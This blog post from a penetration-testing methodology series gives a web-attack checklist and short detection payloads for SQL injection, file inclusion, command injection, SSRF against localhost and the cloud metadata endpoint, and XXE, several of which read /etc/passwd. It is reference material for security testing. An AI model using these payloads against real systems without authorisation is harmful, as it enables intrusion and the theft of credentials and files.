Post

06 — Web Attacks

Web attack methodology — checklist, SQLi/LFI/SSRF/XXE quick detection, command injection, file upload attacks, and Burp Suite workflow.

Posted
By Sam Ireton
1 min read
06 — Web Attacks

📁 Source: github.com/sireton/pentest-vault/06-Web-Attacks
← Back to Methodology Index

#web #phase

Sub-Pages

  • [[06-Web-Attacks/SQLi]]
  • [[06-Web-Attacks/File Inclusion]]
  • [[06-Web-Attacks/File Upload Attacks]]

Web Checklist

  • Tech fingerprinting (whatweb, Wappalyzer)
  • Directory/file fuzzing
  • Parameter fuzzing
  • All input fields for injection
  • LFI/RFI in file/path parameters
  • SQLi in all DB-touching inputs
  • File upload functionality
  • IDOR in IDs/references
  • Authentication (brute, bypass, default creds)
  • SSRF in URL parameters
  • JS review for API keys / endpoints

Quick Wins

SQLi Detection

1
2
3
4

' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
admin'--

LFI Detection

1
2

?file=../../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php

Command Injection

1
2
3
4

;whoami
|whoami
`whoami`
$(whoami)

SSRF

1
2
3

?url=http://127.0.0.1/admin
?url=http://169.254.169.254/latest/meta-data/
?url=file:///etc/passwd

XXE

1
2
3

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

See also: [[01-Recon/Recon Index]] | [[00-Meta/Shell Upgrades & Tricks]]

Previous: Methodology Active Directory · Next: Methodology Pillaging

Tools & Methodologies, Methodology
Methodology Web Attacks SQLi LFI SSRF XXE File Upload Burp Suite
This post is licensed under CC BY 4.0 by the author.